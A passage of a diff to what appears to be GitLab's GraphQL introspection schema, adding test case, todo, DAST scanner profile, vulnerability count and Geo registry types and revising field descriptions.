creating the commit for the supplied SAST CI configuration", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "successPath", + "description": "Redirect path to use when the response is successful", "args": [ ], "type": { "kind": "SCALAR", - "name": "JSON", + "name": "String", "ofType": null }, "isDeprecated": false, @@ -6443,7 +7272,7 @@ }, { "name": "confidential", - "description": "Indicates if the epic is confidential. Will be ignored if `confidential_epics` feature flag is disabled", + "description": "Indicates if the epic is confidential", "type": { "kind": "SCALAR", "name": "Boolean", @@ -7170,26 +7999,6 @@ "defaultValue": null }, { - "name": "fileName", - "description": "File name of the snippet", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "content", - "description": "Content of the snippet", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { "name": "description", "description": "Description of the snippet", "type": { @@ -7343,6 +8152,254 @@ }, { "kind": "INPUT_OBJECT", + "name": "CreateTestCaseInput", + "description": "Autogenerated input type of CreateTestCase", + "fields": null, + "inputFields": [ + { + "name": "title", + "description": "The test case title", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "description", + "description": "The test case description", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "labelIds", + "description": "The IDs of labels to be added to the test case.", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "projectPath", + "description": "The project full path to create the test case", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CreateTestCasePayload", + "description": "Autogenerated return type of CreateTestCase", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "testCase", + "description": "The test case created", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Issue", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INTERFACE", + "name": "CurrentUserTodos", + "description": null, + "fields": [ + { + "name": "currentUserTodos", + "description": "Todos for the current user", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "state", + "description": "State of the todos", + "type": { + "kind": "ENUM", + "name": "TodoStateEnum", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "TodoConnection", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": [ + { + "kind": "OBJECT", + "name": "Design", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "Epic", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "EpicIssue", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "Issue", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "MergeRequest", + "ofType": null + } + ] + }, + { + "kind": "INPUT_OBJECT", "name": "DastOnDemandScanCreateInput", "description": "Autogenerated input type of DastOnDemandScanCreate", "fields": null, @@ -7376,6 +8433,16 @@ "defaultValue": null }, { + "name": "dastScannerProfileId", + "description": "ID of the scanner profile to be used for the scan.", + "type": { + "kind": "SCALAR", + "name": "DastScannerProfileID", + "ofType": null + }, + "defaultValue": null + }, + { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "type": { @@ -7477,10 +8544,24 @@ { "kind": "OBJECT", "name": "DastScannerProfile", - "description": "Represents a DAST scanner profile.", + "description": "Represents a DAST scanner profile", "fields": [ { - "name": "id", + "name": "editPath", + "description": "Relative web path to the edit page of a scanner profile", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "globalId", "description": "ID of the DAST scanner profile", "args": [ @@ -7490,7 +8571,7 @@ "name": null, "ofType": { "kind": "SCALAR", - "name": "ID", + "name": "DastScannerProfileID", "ofType": null } }, @@ -7498,6 +8579,24 @@ "deprecationReason": null }, { + "name": "id", + "description": "ID of the DAST scanner profile. Deprecated in 13.4: Use `global_id`", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": true, + "deprecationReason": "Use `global_id`. Deprecated in 13.4" + }, + { "name": "profileName", "description": "Name of the DAST scanner profile", "args": [ @@ -7513,7 +8612,7 @@ }, { "name": "spiderTimeout", - "description": "The maximum number of seconds allowed for the spider to traverse the site", + "description": "The maximum number of minutes allowed for the spider to traverse the site", "args": [ ], @@ -7650,7 +8749,7 @@ }, { "name": "spiderTimeout", - "description": "The maximum number of seconds allowed for the spider to traverse the site.", + "description": "The maximum number of minutes allowed for the spider to traverse the site.", "type": { "kind": "SCALAR", "name": "Int", @@ -7729,16 +8828,132 @@ "deprecationReason": null }, { - "name": "id", + "name": "globalId", "description": "ID of the scanner profile.", "args": [ ], "type": { "kind": "SCALAR", + "name": "DastScannerProfileID", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "ID of the scanner profile.. Deprecated in 13.4: Use `global_id`", + "args": [ + + ], + "type": { + "kind": "SCALAR", "name": "ID", "ofType": null }, + "isDeprecated": true, + "deprecationReason": "Use `global_id`. Deprecated in 13.4" + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "DastScannerProfileDeleteInput", + "description": "Autogenerated input type of DastScannerProfileDelete", + "fields": null, + "inputFields": [ + { + "name": "fullPath", + "description": "Full path for the project the scanner profile belongs to.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "id", + "description": "ID of the scanner profile to be deleted.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "DastScannerProfileID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DastScannerProfileDeletePayload", + "description": "Autogenerated return type of DastScannerProfileDelete", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, "isDeprecated": false, "deprecationReason": null } @@ -7796,9 +9011,177 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "DastScannerProfileID", + "description": "Identifier of DastScannerProfile", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "DastScannerProfileUpdateInput", + "description": "Autogenerated input type of DastScannerProfileUpdate", + "fields": null, + "inputFields": [ + { + "name": "fullPath", + "description": "The project the scanner profile belongs to.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "id", + "description": "ID of the scanner profile to be updated.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "DastScannerProfileID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "profileName", + "description": "The name of the scanner profile.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "spiderTimeout", + "description": "The maximum number of minutes allowed for the spider to traverse the site.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "targetTimeout", + "description": "The maximum number of seconds allowed for the site under test to respond to a request.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DastScannerProfileUpdatePayload", + "description": "Autogenerated return type of DastScannerProfileUpdate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "ID of the scanner profile.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "DastScannerProfileID", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "DastSiteProfile", - "description": "Represents a DAST Site Profile.", + "description": "Represents a DAST Site Profile", "fields": [ { "name": "editPath", @@ -8464,7 +9847,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the annotation to delete", + "description": "The global ID of the annotation to delete", "type": { "kind": "NON_NULL", "name": null, @@ -8547,7 +9930,7 @@ { "kind": "OBJECT", "name": "DeleteJobsResponse", - "description": "The response from the AdminSidekiqQueuesDeleteJobs mutation.", + "description": "The response from the AdminSidekiqQueuesDeleteJobs mutation", "fields": [ { "name": "completed", @@ -8605,6 +9988,73 @@ "description": "A single design", "fields": [ { + "name": "currentUserTodos", + "description": "Todos for the current user", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "state", + "description": "State of the todos", + "type": { + "kind": "ENUM", + "name": "TodoStateEnum", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "TodoConnection", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "diffRefs", "description": "The diff refs for this design", "args": [ @@ -8983,6 +10433,11 @@ "kind": "INTERFACE", "name": "DesignFields", "ofType": null + }, + { + "kind": "INTERFACE", + "name": "CurrentUserTodos", + "ofType": null } ], "enumValues": null, @@ -8991,11 +10446,11 @@ { "kind": "OBJECT", "name": "DesignAtVersion", - "description": "A design pinned to a specific version. The image field reflects the design as of the associated version.", + "description": "A design pinned to a specific version. The image field reflects the design as of the associated version", "fields": [ { "name": "design", - "description": "The underlying design.", + "description": "The underlying design", "args": [ ], @@ -9332,7 +10787,7 @@ { "kind": "OBJECT", "name": "DesignCollection", - "description": "A collection of designs.", + "description": "A collection of designs", "fields": [ { "name": "design", @@ -10869,6 +12324,108 @@ }, { "kind": "INPUT_OBJECT", + "name": "DestroyBoardInput", + "description": "Autogenerated input type of DestroyBoard", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "The global ID of the board to destroy", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "BoardID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DestroyBoardPayload", + "description": "Autogenerated return type of DestroyBoard", + "fields": [ + { + "name": "board", + "description": "The board after mutation", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Board", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "DestroyNoteInput", "description": "Autogenerated input type of DestroyNote", "fields": null, @@ -12801,7 +14358,7 @@ { "kind": "OBJECT", "name": "Epic", - "description": "Represents an epic.", + "description": "Represents an epic", "fields": [ { "name": "author", @@ -13043,6 +14600,73 @@ "deprecationReason": null }, { + "name": "currentUserTodos", + "description": "Todos for the current user", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "state", + "description": "State of the todos", + "type": { + "kind": "ENUM", + "name": "TodoStateEnum", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "TodoConnection", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "descendantCounts", "description": "Number of open and closed descendant epics and issues", "args": [ @@ -13821,6 +15445,11 @@ "kind": "INTERFACE", "name": "Noteable", "ofType": null + }, + { + "kind": "INTERFACE", + "name": "CurrentUserTodos", + "ofType": null } ], "enumValues": null, @@ -14054,7 +15683,7 @@ { "kind": "OBJECT", "name": "EpicDescendantCount", - "description": "Counts of descendent epics.", + "description": "Counts of descendent epics", "fields": [ { "name": "closedEpics", @@ -14262,11 +15891,35 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "EpicID", + "description": "Identifier of Epic", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "EpicIssue", "description": "Relationship between an epic and an issue", "fields": [ { + "name": "alertManagementAlert", + "description": "Alert associated to this issue", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "AlertManagementAlert", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "assignees", "description": "Assignees of the issue", "args": [ @@ -14406,6 +16059,73 @@ "deprecationReason": null }, { + "name": "currentUserTodos", + "description": "Todos for the current user", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "state", + "description": "State of the todos", + "type": { + "kind": "ENUM", + "name": "TodoStateEnum", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "TodoConnection", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "description", "description": "Description of the issue", "args": [ @@ -14893,6 +16613,20 @@ "deprecationReason": null }, { + "name": "severity", + "description": "Severity level of the incident", + "args": [ + + ], + "type": { + "kind": "ENUM", + "name": "IssuableSeverity", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "state", "description": "State of the issue", "args": [ @@ -15171,6 +16905,11 @@ "kind": "INTERFACE", "name": "Noteable", "ofType": null + }, + { + "kind": "INTERFACE", + "name": "CurrentUserTodos", + "ofType": null } ], "enumValues": null, @@ -15631,7 +17370,7 @@ { "kind": "ENUM", "name": "EpicState", - "description": "State of an epic.", + "description": "State of an epic", "fields": null, "inputFields": null, "interfaces": null, @@ -15838,6 +17577,29 @@ "possibleTypes": null }, { + "kind": "ENUM", + "name": "EpicWildcardId", + "description": "Epic ID wildcard values", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "NONE", + "description": "No epic is assigned", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "ANY", + "description": "Any epic is assigned", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { "kind": "SCALAR", "name": "Float", "description": "Represents signed double-precision fractional values as specified by [IEEE 754](https://en.wikipedia.org/wiki/IEEE_floating_point).", @@ -15956,7 +17718,7 @@ }, { "name": "packageFileRegistries", - "description": "Package file registries of the GeoNode. Available only when feature flag `geo_self_service_framework` is enabled", + "description": "Package file registries of the GeoNode. Available only when feature flag `geo_package_file_replication` is enabled", "args": [ { "name": "ids", @@ -16157,6 +17919,77 @@ "deprecationReason": null }, { + "name": "terraformStateRegistries", + "description": "Find terraform state registries on this Geo node. Available only when feature flag `geo_terraform_state_replication` is enabled", + "args": [ + { + "name": "ids", + "description": "Filters registries by their ID", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "TerraformStateRegistryConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "url", "description": "The user-facing URL for this Geo node", "args": [ @@ -16843,6 +18676,69 @@ "deprecationReason": null }, { + "name": "groupMembers", + "description": "A membership of a user within this group", + "args": [ + { + "name": "search", + "description": "Search query", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "GroupMemberConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "groupTimelogsEnabled", "description": "Indicates if Group timelogs are enabled for namespace", "args": [ @@ -17584,6 +19480,26 @@ "defaultValue": "false" }, { + "name": "search", + "description": "Search project with most similar names or paths", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": "null" + }, + { + "name": "sort", + "description": "Sort projects by this criteria", + "type": { + "kind": "ENUM", + "name": "NamespaceProjectSort", + "ofType": null + }, + "defaultValue": "null" + }, + { "name": "hasVulnerabilities", "description": "Returns only the projects which have vulnerabilities", "type": { @@ -17982,6 +19898,36 @@ "defaultValue": null }, { + "name": "sort", + "description": "List vulnerabilities by sort order", + "type": { + "kind": "ENUM", + "name": "VulnerabilitySort", + "ofType": null + }, + "defaultValue": "severity_desc" + }, + { + "name": "hasResolution", + "description": "Returns only the vulnerabilities which have been resolved on default branch", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "hasIssues", + "description": "Returns only the vulnerabilities which have linked issues", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": null + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -18272,6 +20218,109 @@ "deprecationReason": null }, { + "name": "vulnerabilitySeveritiesCount", + "description": "Counts for each vulnerability severity in the group and its subgroups", + "args": [ + { + "name": "projectId", + "description": "Filter vulnerabilities by project", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "reportType", + "description": "Filter vulnerabilities by report type", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilityReportType", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "severity", + "description": "Filter vulnerabilities by severity", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilitySeverity", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "state", + "description": "Filter vulnerabilities by state", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilityState", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "scanner", + "description": "Filter vulnerabilities by scanner", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "VulnerabilitySeveritiesCount", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "webUrl", "description": "Web URL of the group", "args": [ @@ -18300,7 +20349,7 @@ { "kind": "OBJECT", "name": "GroupMember", - "description": "Represents a Group Member", + "description": "Represents a Group Membership", "fields": [ { "name": "accessLevel", @@ -18373,6 +20422,24 @@ "deprecationReason": null }, { + "name": "id", + "description": "ID of the member", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "updatedAt", "description": "Date and time the membership was last updated", "args": [ @@ -18387,6 +20454,24 @@ "deprecationReason": null }, { + "name": "user", + "description": "User that is associated with the member object", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "User", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "userPermissions", "description": "Permissions for the current user on the resource", "args": [ @@ -18748,6 +20833,284 @@ }, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "vulnerabilitySeveritiesCount", + "description": "Counts for each vulnerability severity from projects selected in Instance Security Dashboard", + "args": [ + { + "name": "projectId", + "description": "Filter vulnerabilities by project", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "reportType", + "description": "Filter vulnerabilities by report type", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilityReportType", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "severity", + "description": "Filter vulnerabilities by severity", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilitySeverity", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "state", + "description": "Filter vulnerabilities by state", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilityState", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "scanner", + "description": "Filter vulnerabilities by scanner", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "VulnerabilitySeveritiesCount", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "InstanceStatisticsMeasurement", + "description": "Represents a recorded measurement (object count) for the Admins", + "fields": [ + { + "name": "count", + "description": "Object count", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "identifier", + "description": "The type of objects being measured", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "MeasurementIdentifier", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "recordedAt", + "description": "The time the measurement was recorded", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "InstanceStatisticsMeasurementConnection", + "description": "The connection type for InstanceStatisticsMeasurement.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "InstanceStatisticsMeasurementEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "InstanceStatisticsMeasurement", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + 